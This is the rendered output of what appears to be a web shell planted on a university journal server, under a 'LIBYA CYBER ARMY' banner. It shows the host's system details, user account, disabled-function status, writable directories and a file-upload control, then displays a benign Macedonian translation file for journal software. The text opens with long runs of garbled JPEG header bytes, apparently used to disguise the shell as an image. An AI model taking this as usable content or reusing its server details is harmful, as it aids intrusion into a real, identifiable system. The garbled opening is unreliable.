JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-} .
LIBYA CYBER ARMY
Logo of a company Instagram@3g86    Server : Apache
System : Linux uta-edu.server.ly 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : utripoli ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/utripoli/www/journal/lib/pkp/locale/mk_MK/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/utripoli/www/journal/lib/pkp/locale/mk_MK/editor.po
msgid ""
msgstr ""
"PO-Revision-Date: 2021-01-15 08:16+0000\n"
"Last-Translator: Jovan Jonovski <jonovski@hotmail.com>\n"
"Language-Team: Macedonian <http://translate.pkp.sfu.ca/projects/pkp-lib/"
"editor/mk_MK/>\n"
"Language: mk_MK\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n==1 || n%10==1 ? 0 : 1;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "editor.submissionArchive.confirmDelete"
msgstr "Дали сте сигурни дека сакате трајно да го избришете овој поднесок?"

msgid "editor.activityLog"
msgstr "Активности"

msgid "editor.submissionLibrary"
msgstr "Библиотека"

msgid "editor.submission.workflowDecision.submission"
msgstr "Одлуката е забележана"

msgid "editor.submission.workflowDecision.submission.declined"
msgstr "Поднесувањето е одбиено."

msgid "editor.submission.workflowDecision.submission.accepted"
msgstr "Поднесувањето е одобрено."

msgid "editor.submission.workflowDecision.submission.published"
msgstr "Поднесувањето е објавено."

msgid "editor.submission.workflowDecision.submission.reviewRound"
msgstr "Прати за нов  круг на лектура."

msgid "editor.submission.workflowDecision.submission.production"
msgstr "Прати во продукција."

msgid "editor.submission.workflowDecision.submission.underReview"
msgstr "Поднесувањето е прифатено за лектуира."

msgid "editor.submission.workflowDecision.changeDecision"
msgstr "Промени ја одлуката"

msgid "editor.review.notInitiated"
msgstr "Процесот на рецензија сè уште не е започнат."

msgid "editor.submission.copyediting.personalMessageToUser"
msgstr "Порака до корисникот"

msgid "editor.submission.externalReviewDescription"
msgstr "Изберете датотеки подолу за да ги испратите во фаза на рецензија."

msgid "editor.submission.fileAuditor.form.fileRequired"
msgstr ""
"Мора да изберете барем една датотека за да му ја доделите на корисникот."

msgid "editor.submission.fileAuditor.form.messageRequired"
msgstr "Мора да вклучите лична порака."

msgid "editor.submission.fileAuditor.skipEmail"
msgstr "Не испраќајте е-пошта до ревизорот"

msgid "editor.submission.fileAuditor.form.userRequired"
msgstr "Мора да изберете корисник за доделување."

msgid "editor.submission.uploadSelectFiles"
msgstr "Аплоадирај/избери фајл"

msgid "editor.submission.selectFiles"
msgstr "Избери фајл"

msgid "editor.submission.revisions"
msgstr "Ревизија"

msgid "editor.submission.review.reviewersDescription"
msgstr ""
"Користете <em> +Додај прегледувач</em> за да ги поканите читателите да ги "
"разгледаат датотеките за поднесување. Иконата во тетратката означува дека е "
"доставена рецензија, кој потоа ќе биде проверен<em> Потврди </em>откако ќе "
"се консултира. Кога рецензиите се задоцнети, се појавува икона со црвен плик "
"за потсетување на рецензентите."

msgid "editor.submission.addReviewer"
msgstr "Додади рецензент"

msgid "editor.submission.findAndSelectReviewer"
msgstr "Пронајди рецензент"

msgid "editor.submission.findAndSelectUser"
msgstr "Пронајди корисник"

msgid "editor.submission.fileList.includeAllStages"
msgstr "Покажете датотеки од сите достапни фази на работниот тек."

msgid "editor.submission.review.currentFiles"
msgstr "Тековни датотеки за преглед за {$round} пат"

msgid "editor.submission.backToSearch"
msgstr "Врати на барање"

msgid "editor.review.createReviewer"
msgstr "Креирај нов лектор"

msgid "editor.review.enrollReviewer.short"
msgstr "Вклучи постоечки корисник"

msgid "editor.review.unassignReviewer"
msgstr "Исклучи лектор"

msgid "editor.review.cancelReviewer"
msgstr "Откажи лектор"

msgid "editor.review.reinstateReviewer"
msgstr "Назначи лектор повторно"

msgid "editor.submissionReview.reviewType"
msgstr "Вид на лектура"

msgid "editor.submissionReview.sendEmail"
msgstr "Испрати имелј соопштение до автор(и): {$authorName}"

msgid "editor.submissionReview.sendEmail.editors"
msgstr "Испрати имејл соопштение до уредник(ци): {$editorNames}"

msgid "editor.submissionReview.skipEmail"
msgstr "Не испраќај имејл соопштение"

msgid "editor.submissionReview.open"
msgstr "Отвори"

msgid "editor.submissionReview.anonymous"
msgstr "Слепо"

msgid "editor.submissionReview.doubleAnonymous"
msgstr "Двојно слепо"

msgid "editor.submissionReview.restrictFiles"
msgstr "Фајлови за рецензирање"

msgid "editor.submissionReview.restrictFiles.hide"
msgstr "Затвори го селектриањњето фајлови"

msgid "editor.submissionReview.editReview"
msgstr "Уреди рецензија"

msgid "editor.review.anonymousReviewer"
msgstr "Анонимен рецензент"

msgid "editor.review.personalMessageToReviewer"
msgstr "Имејл  да се прати на рецензентот"

msgid "editor.review.importantDates"
msgstr "Важни датуми"

msgid "editor.review.uploadRevision"
msgstr "Уплодирај ревизија"

msgid "editor.review.newReviewRound"
msgstr "Побарај нов круг на рецензија"

msgid "editor.review.NotifyAuthorRevisions"
msgstr "Ревизиите нема да бидат испратени на нов круг на рецензија."

msgid "editor.review.NotifyAuthorResubmit"
msgstr "Ревизиите ќе  бидат испратени на нов круг на рецензија."

msgid "editor.review.dateAccepted"
msgstr "Датум за прифаќање на рецензирање"

msgid "editor.review.reviewsAdded"
msgstr "Рецензијата додена вотекстот на  пораката."

msgid "editor.review.noReviews"
msgstr "Нема рецензии за импортирање"

msgid "editor.review.reminder"
msgstr "Потсетник за рецензија"

msgid "editor.review.thankReviewer"
msgstr "Заблагодари се на рецензентот"

msgid "editor.review.reminderError"
msgstr "Грешка при испражање на потсетување на рецензентот"

msgid "editor.review.thankReviewerError"
msgstr "Грешка при испраќање на благодарност до рецензентот"

msgid "editor.review.skipEmail"
msgstr "Не испраќај имејл до рецензентот."

msgid "editor.review.sendReminder"
msgstr "Испрати потсетување"

msgid "editor.review.readReview"
msgstr "Прочитај рецензија"

msgid "editor.review.readNewReview"
msgstr "Прочитај нова рецензија"

msgid "editor.review.responseDue"
msgstr "Краен рок за одговор: {$date}"

msgid "editor.review.requestSent"
msgstr "Барањето е испратено"

msgid "editor.review.requestAccepted"
msgstr "Барањето е пригфатено"

msgid "editor.review.requestDeclined"
msgstr "Барањето е одбиено"

msgid "editor.review.requestCancelled"
msgstr "Барањето е откажано"

msgid "editor.review.requestDeclined.tooltip"
msgstr "Рецензентот го одбива ова барање за рецензија."

msgid "editor.review.requestCancelled.tooltip"
msgstr "Уредникот го одбива ова барање за рецензија."

msgid "editor.review.revertDecision"
msgstr "Смени ја одлуката"

msgid "editor.review.reviewDue"
msgstr "Краен рок за рецензија: {$date}"

msgid "editor.review.reviewDueDate"
msgstr "Краен рок за рецензија"

msgid "editor.review.reviewCompleted"
msgstr "Рецензијата е готова"

msgid "editor.review.reviewConfirmed"
msgstr "Рецензијата е потврдена"

msgid "editor.review.reviewSubmitted"
msgstr "Рецензијата е поднесена"

msgid "editor.review.reviewerThanked"
msgstr "Заблагодарено на рецензентот"

msgid "editor.review.reviewerComments"
msgstr "Коментари на рецензентот"

msgid "editor.review.rateReviewer"
msgstr "Оценување на рецензентот"

msgid "editor.review.rateReviewer.description"
msgstr ""
"Оценете го квалитетот на дадената рецензија преглед. Овој рејтинг не се "
"споделува со рецензентот."

msgid "editor.review.reviewerRating.none"
msgstr "Нема оцена"

msgid "editor.review.mustSelect"
msgstr "Мора да избереш рецензент"

msgid "editor.review.errorAddingReviewer"
msgstr "Грешка при додавање рецензент: Пробај повторно."

msgid "editor.review.errorDeletingReviewer"
msgstr "Грешка при бришење рецензент: Пробај повторно."

msgid "editor.review.errorReinstatingReviewer"
msgstr "Грешка при повторно додавање рецензент: Пробај повторно."

msgid "editor.review.userGroupSelect"
msgstr "Вклучи корисник групата на овој рецензент"

msgid "editor.review.unconsiderReviewText"
msgstr ""
"Дали сакате да го обележите оваа рецензија како неодговорна? Историјата на "
"рецензија ќе биде зачувана."

msgid "editor.review.unconsiderReview"
msgstr "Откажи ја ова рецензија"

msgid "editor.review.readConfirmation"
msgstr ""
"Откако ќе се прочита оваа рецензија, притиснете \"Потврди\" за да означите "
"дека процесот на рецензија може да продолжи. Ако рецензентот јадоставил "
"својата рецензија на друго место, можете да ја испратите датотеката подолу и "
"потоа да притиснете „Потврди“ за да продолжите."

msgid "editor.discussion.errorAnonymousParticipants"
msgstr ""

msgid "editor.discussion.errorNotStageParticipant"
msgstr ""

msgid "editor.submission.schedulePublication"
msgstr "За објавување"

msgid "editor.submission.selectCopyedingFiles"
msgstr "Лекторски фајлови"

msgid "editor.submission.selectReviewer"
msgstr "Избери рецензент"

msgid "editor.submission.taskDueDate"
msgstr "Краен рок на задачата"

msgid "editor.submission.taskSchedule"
msgstr "Распоред на задачата"

msgid "editor.review.enrollReviewer"
msgstr "Вклучи постоечки корисник како рецензент"

msgid "editor.submission.noAuditRequested"
msgstr "Нема барање за ревизија на овој фајл"

msgid "editor.submission.personalMessageToUser"
msgstr "Имејл да се прати на корисникот"

msgid "editor.submission.proof.reminder"
msgstr "Потсетник за финална проверка"

msgid "editor.submission.editorial.approveCopyeditDescription"
msgstr ""
"Коеригираниот фајл треба да биде одобрена пред да се испрати за објавување. "
"Дали сакате да гоодобрите овој фајл?"

msgid "editor.submission.editorial.disapproveCopyeditDescription"
msgstr ""
"Неодобрувањето на овој фајл ќе го направи недостапно за испраќање за "
"објавувањео. Дали сакате да ја одобрите оваа датотека?"

msgid "editor.submission.addAuditor"
msgstr "Назначи ревизор"

msgid "editor.submission.copyedit.manageCopyeditFilesDescription"
msgstr ""
"Сите датотеки што се веќе подигнати во која било фаза на поднесување може да "
"се додадат во списокот „Керегирани фајлови“ со означување на полето Вклучи "
"подолу и со кликнување на Барај: сите достапни датотеки ќе бидат наведени и "
"ќе можат да бидат избрани за вклучување. Дополнителните датотеки кои веќе не "
"се подигнати во фаза може да се додадат во списокот со кликнување на врската "
"за поставување датотека."

msgid "editor.review"
msgstr "Рецензија"

msgid "editor.review.reviewDetails"
msgstr "Детали на рецензија"

msgid "editor.review.noReviewFilesUploaded"
msgstr "Нема аплодирано фајлови"

msgid "editor.review.noReviewFilesUploaded.details"
msgstr "Немате аплодирано никакви рецензентски фајлови."

msgid "editor.review.emailReviewer"
msgstr "Имејл до  рецензентот"

msgid "editor.submission.production.productionReadyFiles"
msgstr "Фајлови подготвени за објавување"

msgid "editor.submission.newRound"
msgstr "Нов круг на рецензии"

msgid "editor.submissionReview.recordDecision"
msgstr "Забележи ја одлуката на уредниците"

msgid "editor.submissionReview.recordRecommendation"
msgstr "Забележи ја препораката на рецензентите"

msgid "editor.submissionReview.recordRecommendation.notifyEditors"
msgstr "Извести ги уредниците"

msgid "editor.submissionReview.recordRecommendation.skipEmail"
msgstr "Не испражај имејл до уредниците."

msgid "editor.submissionReview.recordRecommendation.createDiscussion"
msgstr "Креирај дискусија за рецензија на оваа препорака."

msgid "editor.submissionReview.recordRecommendation.skipDiscussion"
msgstr "Не креирај дискусија за рецензија."

msgid "editor.submission.newRoundDescription"
msgstr ""
"Ќе креирате нова рунда за преглед на овој поднесок. Датотеките што не се "
"користени во другите рунди рецензија се наведени подолу."

msgid "editor.submission.createNewRound"
msgstr "Креирај нов круг на рецензија"

msgid "editor.article.reviewForms"
msgstr "Формулар за рецензија"

msgid "editor.article.selectReviewForm"
msgstr "Избери формулар за рецензија"

msgid "editor.article.confirmChangeReviewForm"
msgstr ""
"Предупредување: Промената на формуларот за рецензија ќе влијае на сите "
"одговори што рецензентите ги направиле со оваа форма. Дали сте сигурни дека "
"сакате да продолжите?"

msgid "editor.submission.noReviewerFilesSelected"
msgstr "Нема селектирани фајлови"

msgid "editor.submission.noReviewerFilesSelected.details"
msgstr "Немате слектирани фајлови за рецензентот."

msgid "submission.queries.subjectRequired"
msgstr "Тема на дискусијата е задолжителна."

msgid "submission.queries.messageRequired"
msgstr "Порака за дискусја е задолжителна."

msgid "submission.queries.attachedFiles"
msgstr "прикаќени фајлови"

msgid "grid.action.editQuery"
msgstr "Уреди дискусија"

msgid "editor.submission.query.manageQueryNoteFilesDescription"
msgstr ""
"Фајлови можат да бидат прикачени за вклучување во оваа дискусија од списокот "
"подолу."

msgid "editor.submission.selectedReviewer"
msgstr "Избран рецензент"

msgid "editor.submission.proofreading.approveProof"
msgstr "Одобри корегиран фајл"

msgid "editor.submission.proofreading.revokeProofApproval"
msgstr "Откажи го одобрувањето на корегираниот фајл"

msgid "editor.submission.proofreading.confirmCompletion"
msgstr ""
"Одобрете ја корегирана верзија за да означите дека  лекторирање е завршено и "
"датотеката е подготвена да биде објавена."

msgid "editor.submission.proofreading.confirmRemoveCompletion"
msgstr ""
"Одземете одобрение за овој доказ за да означите лекторирање не е веќе "
"завршено и датотеката не е подготвена да биде објавена."

msgid "editor.submission.revertDeclineDescription"
msgstr ""
"Дали сте сигурни дека сакате да ја смените одлуката за одбивање на овој "
"поднесок?"

msgid "editor.publicIdentificationNumericNotAllowed"
msgstr "Јавниот идентификатор '{$publicIdentifier}' не смее да биде број."

msgid "editor.publicIdentificationPatternNotAllowed"
msgstr "Шемата {$pattern} не е дозволена за јавен идентификатор."

msgid "reviewer.list.filterRating"
msgstr "Барем прегледано"

msgid "reviewer.list.activeReviews"
msgstr "{$count} активен"

msgid "reviewer.list.activeReviewsDescription"
msgstr "Активни рецензии што се доделени во моментов"

msgid "reviewer.list.completedReviews"
msgstr "Завршени рецензии"

msgid "reviewer.list.declinedReviews"
msgstr "Одбиени барања за рецензии"

msgid "reviewer.list.cancelledReviews"
msgstr "Откажани барања за рецензии"

msgid "reviewer.list.reviewerRating"
msgstr "Оцена на рецензентот: {$rating}"

msgid "reviewer.list.daysSinceLastAssignment"
msgstr "Пред {$days} дена"

msgid "reviewer.list.daySinceLastAssignment"
msgstr "Вчера"

msgid "reviewer.list.daysSinceLastAssignmentDescription"
msgstr "Денови од назначување на последната рецензија"

msgid "reviewer.list.averageCompletion"
msgstr "Просек во денови за завршување на рецензија"

msgid "reviewer.list.neverAssigned"
msgstr "Никогаш не бил назначен"

msgid "reviewer.list.currentlyAssigned"
msgstr "Овој рецензент веќе е назначен на овој поднесок."

#, fuzzy
msgid "reviewer.list.warnOnAssign"
msgstr ""
"Овој рецензент е заклучен затоа што им е доделена улога која му овозможува "
"да го види идентитетот на авторот. Не може да се гарантира рецензија на "
"слепо. Дали сакате да го отклучите овој рецензент во секој случај?"

msgid "reviewer.list.warnOnAssignUnlock"
msgstr "Отклучи"

msgid "reviewer.list.reviewInterests"
msgstr "Интереси за рецензирање"

msgid "reviewer.list.biography"
msgstr "Биографија"

msgid "reviewer.list.empty"
msgstr "Не се најдени рецензенти"

#~ msgid "reviewer.list.itemsOfTotal"
#~ msgstr "{$count} од{$total} рецензенти"

#~ msgid "reviewer.list.count"
#~ msgstr "{$count} рецензенти"

3g86 2022